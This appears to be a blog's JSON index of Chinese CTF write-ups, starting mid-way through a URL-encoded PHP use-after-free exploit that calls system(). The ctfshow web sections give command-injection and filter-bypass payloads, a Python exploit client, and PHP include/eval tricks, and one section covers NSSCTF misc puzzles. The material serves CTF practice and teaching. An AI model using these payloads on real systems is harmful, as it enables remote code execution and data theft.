20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E\n~~~\n得到flag\n# web73\n![](/pic/73.png)\nglob遍历目录,涨知识了。\n~~~\nc=?><?php\n\t$a=new DirectoryIterator(\"glob:///*\");\nforeach($a as $f)\n{echo($f->__toString().' ');\n}\nexit(0);\n?>\n~~~\n要进行url编码\n![](/pic/73.png)\n发现了`flagc.txt`\npayload:\n~~~\nc=include(\"/flagc.txt\");exit();\n~~~\n\n# web74\n还是同样的步骤,glob遍历目录\nflag在flagx.txt里\npayload:\n~~~\nc=include(\"/flagx.txt\");exit();\n~~~","tags":["ctfshow","刷题","web"],"categories":["web","ctfshow","刷题"]},{"title":"NSSCTF MISC刷题","url":"/2023/01/24/NSSCTF-MISC刷题/","content":"# [SWPUCTF 2021 新生赛]我的银行卡密码\n![](/pic/我的银行卡密码.png)\n压缩包有密码,而且是6位数。用ARCHPR破解,密码是`768521`。\n<!--more-->\n解压之后是一个md文件\n![](/pic/pwd.png)\n直接就懵了,看别人的wp后发现是用手机的九宫格解密的,还是写的少,涨知识了。\n解出来之后是`YLOPJOGJVOCCYNMZYPGXGPOGJDVIGATBASH`\n后面的`ATBASH`就是提示\n将`YLOPJOGJVOCCYNMZYPGXGPOGJDVIG`进行ATBASH解密,得到`BOLKQLTQELXXBMNABKTCTKLTQWERT`,后面的`QWERT`就是QWERT加密,也是个提示。\n将`BOLKQLTQELXXBMNABKTCTKLT`进行QWERT解密,得到`XISRASEACSUUXZYKXREVERSE`,后面的reverse还是个提示得到`XKYZXUUSCAESARSIX`,caesar six也是个提示凯撒密码6,得到`RESTROOM`,最后在RESERVE一下`NSSCTF{moortser}`就是flag。\n# [SWPU 2019]漂流记的马里奥\n点开exe文件出现一个1.txt\n![](/pic/maliao.png)\n提示是ntfs,可以用`NtfsStreamsEditor2`\n或者\n膜拜xenny大佬\ncmd转到文件地址,命令行notepad 1.txt:flag.txt\n最后的flag是`NSSCTF{ddg_is_cute}`\n# [SWPUCTF 2021 新生赛]gif好像有点大\n下载文件后是个GIF图,用`STEG SOLVE`打开,在第562帧的时候有一个二维码,扫码就是flag `NSSCTF{The_G1F_ls_T00_b1g}`\n# [HUBUCTF 2022 新生赛]最简单的misc\n用`stegsolve`打开,LSB隐写,得到一个二维码,然后扫码之后就是flag:`NSSCTF{aacc4238460996f0178c18d7637c9dd5}`\n\n\n\n\n唉!misc题写的恶心,就是跟作者对脑电波嘛。","tags":["刷题","MISC","NSSCTF"],"categories":["MISC","NSSCTF","刷题"]},{"title":"ctfshow web入门57~68","url":"/2023/01/22/ctfshow-web入门57/","content":"# web57\n![](/pic/57.png)\n题目显示flag在36.php中,而且给出cat和php了,只要想办法构造出36就可以了。\n`$(())`是做运算,`$((${_}))=0`,所以只要拼接除-36之后取反就行\npayload:\n~~~\n?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\n~~~\n<!--more-->\n# web58\n![](/pic/web58.png)\n题很短,但是我不会。。。\n参考文章[](https://blog.csdn.net/miuzzx/article/details/108619930)\npayload太多了\n~~~\nc=show_source(\"flag.php\");\n~~~\n# web59\n和web58差不多。\npayload:\n~~~\nc=show_source(\"flag.php\");\n~~~\n# web60\n和前两道题一样。\npayload:\n~~~\nc=show_source(\"flag.php\");\n~~~\n# web 61~65\n这些题都一样。\npayload:\n~~~\nc=show_source(\"flag.php\");\n~~~\n# web66\n![](/pic/66.png)\n这一道题`show_source`不能用了。\n![](/pic/66.1.png)\n而且flag还不在flag.php中。\n![](/pic/66.2.png)\n先用\n~~~\nvar_dump(scandir('/'));\n~~~\n查看目录结构,发现是flag.txt\npayload:\n~~~\nc=highlight_flie(\"/flag.txt\");\n~~~\n# web67\n这一题和上一题一样。\n~~~\nc=highlight_file(\"/flag.txt\");\n~~~\n# web68\n![](/pic/68.png)\n这一道题我都懵了,怎么不给源码啊。\n看别人的wp说的换成文件包含就可以。。。。\npayload:\n~~~\nc=include(\"/flag.txt\");\n~~~","tags":["ctfshow","刷题","web"],"categories":["web","ctfshow","刷题"]},{"title":"ctfshow web入门53~56","url":"/2023/01/20/ctfshow-web入门52~56/","content":"# web53\n![](/pic/53.png)\n多过滤了一个wget,多添加了一个回显。\npayload:\n~~~\n?c=ca''t${IFS}fla''g.php\n~~~\n<!--more-->\n# web54\n![](/pic/54.png)\n这道将使用`''`的方式给剔除了。去网上找其他人的wp发现好几种方法。\n第一种:\n可以用mv。\npayload:\n~~~\n/?c=mv${IFS}fla?.php${IFS}abc.txt\n/abc.txt\n~~~\n第二种:\n~~~\ngrep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行\n~~~\npayload:\n~~~\n?c=grep${IFS}ctf${IFS}fl???php\n~~~\n第三种:\n可以用`rev`逆序输出\npayload:\n~~~\n?c=rev${IFS}fl??????\n~~~\n第四种:\n用`paste`直接查看\npayload:\n~~~\n?c=paste${IFS}fl??????\n~~~\n第五种:\n可以理解为当前目录运行cat命令实际上运行的也是bin/cat。\npayload:\n~~~\n/bin/?at${IFS}fl??????\n~~~\n# web55\n![img](/pic/55.png)\n题是真的恶心,脑子有点痒,感觉要长脑子了。。。。\n[继无字母数字的命令执行(ctfshow web入门 55)新姿势](https://blog.csdn.net/qq_46091464/article/details/108555433)\npayload:\n~~~\n?c=/???/????64 ????.???\n~~~\n# web56\n![img](/pic/56.png)\n题是越来越难了。\n参考P神的文章[上无字母数字webshell之提高篇](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html)\n首先构造一个POST上传文件的数据包\n~~~\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n <title>POST文件上传</title>\n</head>\n<body>\n<form action=\"http://17d01aae-51d9-48fe-abfb-d9ba10037d72.chall.ctf.show/\" method=\"post\" enctype=\"multipart/form-data\">\n <!--链接是当前打开的题目链接-->\n <label for=\"file\">文件名:</label>\n <input type=\"file\" name=\"file\" id=\"file\"><br>\n <input type=\"submit\" name=\"submit\" value=\"提交\">\n</form>\n</body>\n</html>\n~~~\n上传一个php文件\n~~~\n#!/bin/sh\nls\n~~~\n注:shell程序必须以\"#!/bin/sh\"开始,#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径\n用bp抓包\n抓包之后添加参数c如下,多发包几次(因为并不一定生成的临时文件的最后一个字母就是大写字母),可以看到执行了ls命令\n![img](/pic/56.1)\n参数内容为什么是 .%20/???/????????[@-[] ,P神的文章已经写的很详细了。\n最后用cat看一下就可以了\n![](/pic/56.2)","tags":["ctfshow","刷题","web"],"categories":["web","ctfshow","刷题"]},{"title":"ctfshow 刷题web45~52","url":"/2023/01/17/ctfshow-刷题web45~52/","content":"# web45\n![img](/pic/45.png)\n过滤了空格,用`%09`绕过,&&等于;,也可以用`||`和`%0a`。\npayload:\n~~~\n/?c=tac%09fl*||\n/?c=sort%09fl*||\n/?c=echo%09`tac%09fla*`||\n~~~\n<!--more-->\n# web46\n![img](/pic/46.png)\n多过滤了一些字符,但还是可以%`09`过滤空格,因为`%09`解码后就不是数字了,是一个水平制表符。\n`*`被过滤了,可以用`?`\npayload:\n~~~\n/?c=tac%09fla?.php||\n/?c=nl<fla''g.php|| nl查看源代码,<代替空格,''分割flag过滤,||解决命令黑洞\n~~~\n# web47\n![](/pic/47.png)\n无非就是sort无法用了,上一题的payload还可以用。\n# web48\n![](/pic/48.png)\n上一题的payload依然可以用。\n# web49\n![](/pic/49.png)\n依然可以用。\n# web50\n![](/pic/50.png)\n`%09`过滤了,`<>`和`?`一起使用时没有回显,所以这里的`?`可以用`\\`和`''`进行代替,。\npaylaod:\n~~~\n/?c=tac<fla\\g.php||\n/?c=nl<fla''g.php||\n~~~\n# web51\n![](/pic/51.png)\ntac被过滤了,只能用nl。\npayload:\n~~~\n?c=nl<fla\\g.php||\n~~~\n# web52\n![](/pic/52.png)\n<>也被过滤了,还可以用`$IFS`\npayload:\n~~~\n/?c=nl${IFS}fla\\g.php||\n~~~","tags":["ctfshow","刷题","web"],"categories":["web","ctfshow","刷题"]},{"title":"ctfshow web入门41~44","url":"/2023/01/14/ctfshow41-44/","content":"# web41\n![img](/pic/web41.png)\n这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。\n我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。\n<!--more-->\n借用师傅们的脚本:https://blog.csdn.net/miuzzx/article/details/108569080\n~~~\n<?php\n$myfile = fopen(\"rce_or.txt\", \"w\");\n$contents=\"\";\nfor ($i=0; $i < 256; $i++) { \n\tfor ($j=0; $j <256 ; $j++) { \n\n\t\tif($i<16){\n\t\t\t$hex_i='0'.dechex($i);\n\t\t}\n\t\telse{\n\t\t\t$hex_i=dechex($i);\n\t\t}\n\t\tif($j<16){\n\t\t\t$hex_j='0'.dechex($j);\n\t\t}\n\t\telse{\n\t\t\t$hex_j=dechex($j);\n\t\t}\n\t\t$preg = '/[0-9]|[a-z]|\\^|\\+|\\~|\\$|\\[|\\]|\\{|\\}|\\&|\\-/i';\n\t\tif(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){\n\t\t\t\t\techo \"\";\n }\n \n\t\telse{\n\t\t$a='%'.$hex_i;\n\t\t$b='%'.$hex_j;\n\t\t$c=(urldecode($a)|urldecode($b));\n\t\tif (ord($c)>=32&ord($c)<=126) {\n\t\t\t$contents=$contents.$c.\" \".$a.\" \".$b.\"\\n\";\n\t\t}\n\t}\n\n}\n}\nfwrite($myfile,$contents);\nfclose($myfile);\n~~~\n~~~\n# -*- coding: utf-8 -*-\nimport requests\nimport urllib\nfrom sys import *\nimport os\nos.system(\"php rce_or.php\") #没有将php写入环境变量需手动运行\nif(len(argv)!=2):\n print(\"=\"*50)\n print('USER:python exp.py <url>')\n print(\"eg: python exp.py http://ctf.show/\")\n print(\"=\"*50)\n exit(0)\nurl=argv[1]\ndef action(arg):\n s1=\"\"\n s2=\"\"\n for i in arg:\n f=open(\"rce_or.txt\",\"r\")\n while True:\n t=f.readline()\n if t==\"\":\n break\n if t[0]==i:\n #print(i)\n s1+=t[2:5]\n s2+=t[6:9]\n break\n f.close()\n output=\"(\\\"\"+s1+\"\\\"|\\\"\"+s2+\"\\\")\"\n return(output)\n \nwhile True:\n param=action(input(\"\\n[+] your function:\") )+action(input(\"[+] your command:\"))\n data={\n 'c':urllib.parse.unquote(param)\n }\n r=requests.post(url,data=data)\n print(\"\\n[*] result:\\n\"+r.text)\n~~~\n![img](/pic/web41.1.png)\n得到flag\n# web42\n![img](/pic/web42.png)\n~~~\n1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt\n2:/dev/null 代表空设备文件\n3:2> 表示stderr标准错误\n4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1\n5:1 表示stdout标准输出,系统默认值是1,所以\">/dev/null\"等同于 “1>/dev/null”\n~~~\n参考:https://www.cnblogs.com/kexianting/p/11630085.html\n用双写绕过\npayload:\n~~~\n?c=cat flag.php;ls\n~~~\n# web43\n![img](/pic/web43.png)\n将;过滤掉了,可以使用其他的命令分隔符;\n常见的命令分隔符:\n~~~\n1、“;”分隔符\n用分号分隔的命令会按顺序执行,即使中间命令使用方式不对,会有相关错误输出,后面的命令照样会执行。如:\n输入:命令A;命令B;命令C\n按顺序执行A、B、C命令,若B命令调用方式不对,终端会有相关错误提示,提示后会继续执行C命令。\n2、“&&”分隔符\n同C、C++语言逻辑运算符\"&&\"类似,遇到首个命令执行失败后,后面的命令不会执行。如:\n输入:命令A && 命令B && 命令C\n先执行命令A,若A命令执行正确则再执行命令B。假如命令B执行失败,则停止,C命令不会被执行到。\n3、“||”分隔符\n同C、C++语言逻辑运算符\"||\"类似,遇到首个命令执行成功后,后面的命令不会执行。如:\n输入:命令A || 命令B || 命令C\n先执行命令A,若A命令执行失败则再执行命令B。假如命令B执行成功,则停止,C命令不会被执行到。\n~~~\npayload:\n~~~\n?c=tac flag.php||ls\n~~~\n# web44\n![img](/pic/web44.png)\nflag也过滤了,就用通配符呗。\npayload:\n~~~\n/?c=tac fl*||ls\n~~~\n常见的通配符有`*`、`?`。","tags":["ctfshow","刷题","web"],"categories":["web","ctfshow","刷题"]},{"title":"chtshow web入门37~40","url":"/2023/01/11/chtshow37-40/","content":"# web 37\n![img](/pic/web37.png)\n考察data伪协议,data伪协议需满足allow_url_fopen,allow_url_include同时开启才能使用。\npayload:\n~~~\n/?c=data://text/plain,<?php system(\"cat fl*\");?>\n~~~\n# web38\n![img](/pic/web38.png)\nphp被过滤了,可以用短标签绕过php。\n短标签:比<?php ?>更灵活调用的方法 <? /*程序操作*/ ?> <?=/*函数*/?>\npaylaod:\n~~~\n?c=data://text/plain,<?=`cat fla*`;?>\n/?c=data://text/plain,<?=system(\"cat fl*\");?>\n~~~\n<!--more-->\n# web39\ninclude中多了个.php,但是上一题的payload也管用,看别人的wp说是有?>结尾进行闭合,所以没有影响。\npayload:\n~~~\n/?c=data://text/plain,<?php system(\"cat fla*\")?>\n~~~\n# web40\n![img](/pic/web40.png)\n这个过滤了不少东西,但是没有过滤英文字母、下划线和英文的括号。\n可以用提示的方法\n~~~\nshow_source(next(array_reverse(scandir(pos(localeconv())))));\nshow_source()函数对文件进行语法高亮显示\nnext() 函数将内部指针指向数组中的下一个元素,并输出\narray_reverse() 函数以相反的元素顺序返回数组\nscandir() 函数返回指定目录中的文件和目录的数组\npos() 函数返回数组中的当前元素的值\nlocaleconv() 函数返回一包含本地数字及货币格式信息的数组\n~~~\n也可以换其他方法\n首先\n~~~\n/?c=print_r(get_defined_vars());\n~~~\n获得一下信息\n![img](/pic/web40.1.png)\n使用next获取这个数组的下一个位置的元素,也就是POST的元素.\n~~~\n/?c=print_r(next(get_defined_vars()));\n~~~\n![img](/pic/web40.2.png)\n然后把这个元素弹出,用array_pop\n~~~\n/?c=print_r(array_pop(next(get_defined_vars())));\n~~~\n![img](/pic/web40.3.png)\n最后再用eval执行一下就可以了\n~~~\n/?c=eval(array_pop(next(get_defined_vars())));\n~~~\nPOST数据\n~~~\n1=system(\"cat flag.php\");或1=echo`cat flag.php`;\n~~~\n关于echo、print、print_r的区别可以参考:https://blog.51cto.com/zlong37/1556855\n# 常用的注释符\n```\n#、--、-- -、//、/**/、/*letmetest*/、;%00\n```\n# MySQL中可以代替空格的字符\n```\n/**/、()、=、%20、%09、%0a、0x0a、0x0b、0x0c、0x0d、+、-、~、.等等\n```","tags":["ctfshow","刷题","web"],"categories":["web","ctfshow","刷题"]},{"title":"ctfshow web入门29~36","url":"/2023/01/09/ctfshow29-36/","content":"# web29\n![img](/pic/web29.png)\n过滤了flag,可以用system,echo等。\n~~~\n/?c=system(\"cat fla*\");\n/?c=echo`cat fl*`;\n~~~\n# web30\n![img](/pic/web30.png)\n多过滤了一个system,还可以用echo。\n~~~\n/?echo`cat fl*`;\n~~~\n<!--more-->\n# web31\n![img](/pic/web31.png)\ncat和空格过滤了,可以用tac.\n空格可以用%09绕过。\n~~~\n/?c=echo%09`tac%09fl*`;\n~~~\n# web32\n![img](/pic/web32.png)\n过滤的东西太多了左括号都给过滤了,使用命令逃逸+文件包含\n空格可以用%09绕过, ;可以用?>绕过,因为使用?>,所以后面没办法直接拼接php语句,需要使用文件包含。\n~~~\n/?c=include%09$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php\n~~~\n再将得到的进行base64解码得到flag\n# web33\n![img](/pic/web33.png)\n和web32差不多,用同样的payload就行\n~~~\n/?c=include%09$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php\n~~~\n# web34\n依旧可以用同样的payload\n~~~\n/?c=include%09$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php\n~~~\n# web35\n依旧可以用同样的payload\n~~~\n/?c=include%09$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php\n~~~\n连续几道题都一样,写的真恶心。\n# web36\n这道题把1换成其他的字符就行,其他步骤一样。\n~~~\n/?c=include%09$_GET[a]?>&&a=php://filter/convert.base64-encode/resource=flag.php\n~~~\n\nrequire可以代替include,PHP常用的可以不加括号的函数echo、print、isset、unset、include、require。","tags":["ctfshow","刷题","web"],"categories":["web","ctfshow","刷题"]}]